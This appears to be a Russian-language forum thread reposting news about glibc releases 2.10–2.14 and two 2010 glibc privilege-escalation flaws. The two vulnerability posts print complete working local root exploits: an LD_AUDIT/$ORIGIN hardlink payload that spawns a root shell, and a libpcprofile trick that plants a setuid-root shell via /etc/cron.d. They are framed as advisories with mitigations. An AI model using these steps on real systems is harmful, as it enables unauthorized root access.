26 Ноября 2024, 07:12

Glibc

Автор turbo, 19 Апреля 2009, 18:45

« предыдущая тема - следующая тема »

0 Пользователей и 1 Гость просматривают эту тему.

turbo

19 Апреля 2009, 18:45 Последнее редактирование: 02 Июня 2011, 16:02 от Zhek@Ch
[size="3"]Обзор новшеств будущей версии системной библиотеки Glibc - 2.10[/size]

Мантейнер системной библиотеки GNU C Library представил набор новшеств в готовящейся к релизу версии glibc 2.10, на базе которой будет построен дистрибутив Fedora 11.

В новой версии glibc ожидается:

 * Поддержка стандарта POSIX 2008. Например, добавлены новые макросы, реализована функция psiginfo, добавлена поддержка флагов O_SEARCH и O_EXEC;
 * Более жёсткое соответствие требованиям C++, например, в дополнение к "char *strchr(char *, int)" добавлено "const char *strchr(const char *, int)", т.е. конструкция "char *i = strchr(in, 'i')", если in имеет тип "const char *i" приведёт к ошибке;
 * Поддержка особенностей будущего стандарта C++ 201x. Например, добавлен обработчик at_quick_exit и функция quick_exit, для экстренного завершения процесса без вызова глобальных деструкторов;
 * Улучшение в функциях DNS NSS в плане обработки нескольких параллельных запросов;
 * Использование NSS (Network Security Services) в libcrypt;
 * Поддержка возможности определения дополнительных модификаторов и спецификаторов формата для функции printf. Для подключения дополнительных обработчиков добавлены функции register_printf_specifier, register_printf_modifier и register_printf_type;
 * Улучшение масштабируемости функции malloc при работе на многоядерных CPU;
 * Добавлена функция malloc_info для предоставления исчерпывающей информации о текущем состоянии системы распределении памяти (сколько памяти выделено, общий размер адресного пространства и т.п.).
 * Автоматическое задействования оптимизированных функций, например, для систем с современным CPU Intel, будет использован вариант функций strlen и strchr, использующий инструкции SSE4.2.

http://www.opennet.r...shtml?num=21329

turbo

20 Мая 2009, 19:11 #1 Последнее редактирование: 02 Июня 2011, 16:08 от Zhek@Ch
[size="3"]Релиз системной библиотеки Glibc 2.10 и генератора файлов сборки Automake 1.11[/size]

Вышел релиз системной библиотеки GNU C Library (glibc) 2.10.1 (первая публичная версия ветки 2.10). Glibc 2.10 войдет в состав Linux дистрибутива Fedora 11, выход которого ожидается 26 мая.

Из новшеств glibc 2.10 можно выделить:

 * Поддержка стандарта POSIX 2008. Например, добавлены новые макросы, реализована функция psiginfo, добавлена поддержка флагов O_SEARCH и O_EXEC;
 * Более жёсткое соответствие требованиям C++, например, в дополнение к "char *strchr(char *, int)" добавлено "const char *strchr(const char *, int)", т.е. конструкция "char *i = strchr(in, 'i')", если in имеет тип "const char *i" приведёт к ошибке;
 * Поддержка особенностей будущего стандарта C++ 201x. Например, добавлен обработчик at_quick_exit и функция quick_exit, для экстренного завершения процесса без вызова глобальных деструкторов;
 * Улучшение в функциях DNS NSS в плане обработки нескольких параллельных запросов;
 * Использование NSS (Network Security Services) в libcrypt;
 * Поддержка возможности определения дополнительных модификаторов и спецификаторов формата для функции printf. Для подключения дополнительных обработчиков добавлены функции register_printf_specifier, register_printf_modifier и register_printf_type;
 * Улучшение масштабируемости функции malloc при работе на многоядерных CPU;
 * Добавлена функция malloc_info для предоставления исчерпывающей информации о текущем состоянии системы распределении памяти (сколько памяти выделено, общий размер адресного пространства и т.п.).
 * Автоматическое задействования оптимизированных функций, например, для систем с современным CPU Intel, будет использован вариант функций strlen и strchr, использующий инструкции SSE4.2.
 * Новые функции: preadv, preadv64, pwritev, pwritev64, accept4, fallocate, fallocate64.

Кроме того, вышел релиз генератора make-файлов Automake 1.11, спустя три года после версии 1.10. Следует заметить, что тестовая версия 1.11 была выпущена под лицензией GPLv3, но в последний момент перед релизом лицензия была возвращена на GPLv2+, так как возникла необходимость написания лицензионного исключения.

Основные улучшения Automake 1.11:

 * опциональная поддержка менее "говорливого" стиля задания правил компиляции для Linux ядра;
 * более быстрые правила для установки и деинсталляции;
 * поддержка проведения тестов в параллельном режиме;
 * подсветка вывода результатов тестов;
 * улучшение поддержки языка Fortran и начальная поддержка языка Vala;
 * возможность запуска automake в многопоточном режиме;
 * поддержка tar-архивов сжатых методами lzma и xz;
 * улучшение реализации макроса AM_MAINTAINER_MODE;
 * man-руководства для aclocal и automake.

http://www.opennet.r...shtml?num=21799

turbo

04 Ноября 2009, 18:21 #2 Последнее редактирование: 02 Июня 2011, 18:01 от Zhek@Ch
[size="3"]Доступен релиз системной библиотеки Glibc 2.11[/size]

Вышел релиз системной библиотеки GNU C Library (glibc) 2.11. Из новшеств можно отметить:

 * Новые функции, определенные в последнем варианте стандарта POSIX: execvpe, pthread_sigqueue, mkstemps, mkstemps64, mkostemps и mkostemps64;
 * Добавлены специально оптимизированные для архитектуры x86-64 варианты функций: strstr, strcasestr, memcmp, strcspn, strpbrk, strspn, strcpy, stpcpy, strncpy, strcmp (задействованы инструкции SSE2, SSE4.2), strncmp (SSE2, SSE4.2), strchr (SSE4.2), strrchr (SSE4.2), strlen, rawmemchr, strcmp (SSSE3), strncmp (SSSE3);
 * Добавлены специально оптимизированные для архитектуры x86 варианты функций: strlen, strcspn, strspn, strpbrk, strstr, strcasestr;
 * Выполнение вызова longjmp теперь возвращается с ошибкой, если при его работе будет обнаружено создание инициализированных областей стека;
 * STT_GNU_IFUNC теперь поддерживается в статически скомпонованных исполняемых файлах. Для архитектуры PPC реализована поддержка STT_GNU_IFUNC. Добавлена поддержка STB_GNU_UNIQUE;
 * Добавлена поддержка fma инструкций в AVX расширении для архитектуры x86-64. В ld.so с использованием возможностей AVX реализованы средства аудита;
 * В код DNS резолвера добавлен режим повторного запроса: если два DNS обращения c одного порта не могут быть выполнены, сокет закрывается и осуществляется еще одна попытка, но с заново созданным сокетом. Включить данный режим можно через указание опции 'single-request-reopen' в /etc/resolv.conf. Кроме того, в резолвере реализована поддержка флага RES_USE_DNSSEC для осуществления запросов с подтверждением;
 * Повышена эффективность работы PI-мьютексов, в случае если ядро ОС поддерживает операцию перераспределения элементов очереди к PI-фьютексам. Для архитектуры x86-64 добавлена поддержка NPTL нитей;
 * Добавлены новые локали: ps_AF, my_MM.

http://www.opennet.r...shtml?num=24106

Zhek@Ch

20 Октября 2010, 00:22 #3 Последнее редактирование: 02 Июня 2011, 18:07 от Zhek@Ch
[size="3"]Glibc: Обнаружена серъезная уязвимость [/size]

В системной библиотеке GNU C Library (glibc), являющейся основой большинства Linux-дистрибутивов, обнаружена критическая уязвимость, позволяющая любому локальному пользователю получить привилегии суперпользователя. Проблема вызвана игнорированием в Glibc требования спецификации ELF по запрещению использования текущего пути к исполняемому файлу ($ORIGIN) в процессе динамического связывания программ с идентификатором смены владельца или группы (suid/sgid). Проблема проявляется в конфигурациях, в которых пользователь имеет возможность создавать жесткие ссылки в файловой системе, допускающей наличие suid-файлов.

Уязвимость протестирована в Fedora 13 и RHEL 5 / CentOS 5, другие дистрибутивы судя по всему также подвержены проблеме. Исправления пока недоступны, статус выхода обновлений в различных Linux-дистрибутивах можно наблюдать на следующих страницах: Slackware, Gentoo, Mandriva, openSUSE, CentOS, Fedora, RHEL, Debian, Ubuntu.

Проблема была известна и ранее, но разработчики Glibc считали, что эксплуатировать ее невозможно. Используя режим аудита связывания программ (LD_AUDIT) в ld.so, вкупе с подменой $ORIGIN через создание жесткой ссылки и запуском suid-программы через файловый дескриптор, удалось разработать практический метод атаки. Проверить свою систему на наличие уязвимости можно следующим способом:

Создаем произвольную директорию:

 $ mkdir /tmp/exploit

Привязываем suid-программу жесткой ссылкой в созданную директорию (при выполнении будет изменен $ORIGIN):

 $ ln /bin/ping /tmp/exploit/target

Открываем для исполняемого файла файловый дескриптор:

 $ exec 3< /tmp/exploit/target

Данный файловый дескриптор должен быть виден в пространстве /proc

 $ ls -l /proc/$/fd/3
 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*

Удаляем ранее созданную директорию

 $ rm -rf /tmp/exploit/

В /proc дескриптор остался, но теперь помечен как удаленный:

 $ ls -l /proc/$/fd/3
 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)

Заменяем директорию на специально созданный эксплоит (имя директории будет открыто через dlopen):

 $ cat > payload.c
 void __attribute__((constructor)) init()
 {
 setuid(0);
 system("/bin/bash");
 }
 ^D

 $ gcc -w -fPIC -shared -o /tmp/exploit payload.c
 $ ls -l /tmp/exploit
 -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*

Инициируем динамическое связывание и загрузку $ORIGIN через LD_AUDIT и запуск программы по файловому дескриптору в /proc
 
 $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
 sh-4.1# whoami
 root
 sh-4.1# id
 uid=0(root) gid=500(taviso)

В качестве временной меры защиты рекомендуются перемонтировать все доступные сторонним пользователям на запись директории в режиме nosuid (актуально только если suid-файл и доступная на запись директория присутствуют в одном дисковом разделе, например, /tmp или /home являются частью корневого раздела, так как жесткая ссылка не может быть установлена из одного дискового раздела в другой) :
[color="#461b7e"]
[codebox]# mount -o bind /tmp /tmp # mount -o remount,bind,nosuid /tmp /tmp[/codebox]
[/color] Дополнение: Разработчики из компании Red Hat выпустили патч, устраняющий проблему в Glibc.


Zhek@Ch

23 Октября 2010, 14:42 #4 Последнее редактирование: 23 Октября 2010, 14:48 от Zhek@Ch
[size="3"]Для Glibc представлен еще один метод повышения привилегий [/size]

Спустя несколько дней после обнаружения в системной библиотеке GNU C Library (glibc) уязвимости, сообщается о нахождении еще одного метода взлома, позволяющего выполнить код с привилегиями суперпользователя. В отличие от ранее представленной техники, новый метод эксплуатации проявляется не только в RHEL, Fedora и CentOS, но и в Debian/Ubuntu и других Linux-дистрибутивах, использующих glibc 2.4 или более позднюю версию. Отдельно сообщается, что проблеме не подвержена glibc из состава OpenWall и ALT Linux, так как в данных дистрибутивах изначально по умолчанию использован повышающий безопасность патч "sanitize-env".

По своей сути новая уязвимость основана на том же принципе и базируется на отсутствии должных проверок при динамическом связывании в режиме LD_AUDIT библиотек с исполняемыми файлами, для которых установлен идентификатор смены владельца или группы (suid/sgid). Изначально система динамического связывания блокирует любые попытки использования LD_PRELOAD для загрузки для setuid/setgid-программ пользовательских библиотек, размещенных в нестандартный областях файловой системы (/lib, /usr/lib), но разработчики glibc сделали несколько исключений из правил для функции LD_AUDIT, наличие которых и привело к возможности осуществления атаки.

При активации режима аудита через LD_AUDIT система связывание выполняет проверку на экспорт символов для всех указанных стандартных библиотек, выполняя вызов dlopen(), который подразумевает запуск процедуры инициализации библиотеки. Техника атаки при этом сводится к инициированию загрузки подставной библиотеки в пути запуска приложения (отмеченная в прошлой уязвимости техника), либо к использованию стандартных библиотек, неучитывающих фактор наличия флага suid/sgid (euid != uid).

Проверить подверженность системы уязвимости можно следующим способом:

[color="#461b7e"]Убираем маску прав доступа для создаваемых файлов (при umask 0 файлы будут создаваться по умолчанию с правами "-rw-rw-rw-")

 $ umask 0

Для атаки будем использовать стандартную библиотеку профилирования libpcprofile, входящую в комплект libc:

 $ dpkg -S /lib/libpcprofile.so
 libc6: /lib/libpcprofile.so

 $ ls -l /lib/libpcprofile.so
 -rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so

Код инициализации libpcprofile не проверяет различия эффективного и текущего идентификатора пользователя, но при этом позволяет создать лог-файл, который можно создать в любой системной директории:

 $ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping

 ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.

Несмотря на вывод ошибки, процедура инициализации выполнилась и в директории /etc/cron.d был создан лог-файл:

 $ ls -l /etc/cron.d/exploit
 -rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit

Как видно, права доступа на созданный файл, позволяют любому пользователю записать в него любые данные, которые затем будут выполнены системой cron от пользователя root. Например:

 $ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit

Через пару минут наблюдаем:

 $ ls -l /tmp/exploit
 ls: cannot access /tmp/exploit: No such file or directory
 ...
 $ ls -l /tmp/exploit
 -rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit

 $ /tmp/exploit
 # whoami
 root
[/color] Исправления уже доступны для Debian и Ubuntu. Состояние подготовки исправлений для других дистрибутивов можно отследить на следующих страницах: Slackware, Gentoo, Mandriva, openSUSE, CentOS, Fedora, RHEL.


Zhek@Ch

02 Июня 2011, 18:11 #5 Последнее редактирование: 02 Июня 2011, 18:11 от Zhek@Ch
[size="3"]Релиз системной библиотеки Glibc 2.14 [/size]

Представлен релиз системной библиотеки GNU C Library (glibc) 2.14, в подготовке которого использованы патчи от 28 разработчиков. Glibc является основой большинства Linux-дистрибутивов, за исключением OpenWrt, Debian и Ubuntu, которые перешли на использование системной библиотеки Eglibc. Библиотека Eglibc полностью совместима с Glibc и отличается более низкими системными требованиями, возможностью гибкой настройки компонентов, улучшенной поддержкой кросс-компиляции и кросс-тестирования.

Из добавленных в Glibc 2.14 улучшений можно отметить:

  • Объявлена устаревшей классическая реализация RPC. Разработчикам рекомендуется портировать свои приложения на использование новой реализации TI-RPC, в которой добавлена поддержка IPv6 и реализованы другие полезные возможности. Старые программы останутся работоспособными, но новые приложения уже нельзя будет связать со старой реализацией RPC (при использовании в программе RPC-функций допускается только связывание с библиотекой TI-RPC);
  • Добавлена поддержка программных интерфейсов, появившихся в версии Linux-ядра 2.6.39 или ожидаемых в будущей версии 3.0:
    • name_to_handle_at и open_by_handle_at - позволяют приложениям сопоставить имя файла с внутренней структурой file_handle или открыть файл, указав его handle;
    • syncfs - работает как sync() за исключением того, что сброс буферов на постоянный носитель осуществляется только для файловой системы, отождествленной с указанным файловым дескриптором.
    • setns - позволяет использовать для файлового дескриптора определенное изолированное пространство имен (namespace)
    • sendmmsg - позволяет организовать передачу в рамках одного системного вызова сразу нескольких сообщений, которые ранее потребовали бы отдельных вызовов sendmsg(). Технология значительно повышает эффективность работы приложений передающих большие объемы данных или оперирующих пакетами небольшого размера;
    • clock_adjtime - аналог функции adjtimex, позволяющий регулировать работу POSIX-часов;
  • В комплект включена утилита sotruss для выполнения трассировки библиотечных вызовов с использованием PLT (Procedure Linkage Table);
  • Возможность установки хука на вызов malloc объявлена устаревшей и будет удалена в следующей версии. Причина прекращения использования данного хука в его неприспособленности к работе в многопоточных программах;
  • Новые локали: os_RU (Осетия), mhr_RU (Марий Эл), bem_ZA, en_ZA, ff_SN, sw_KE, sw_TZ, lb_LU, wae_CH, yue_HK, lij_IT;
  • Новые кодировки: CP770, CP771, CP772, CP773, CP774;
  • Исправлены 94 ошибки.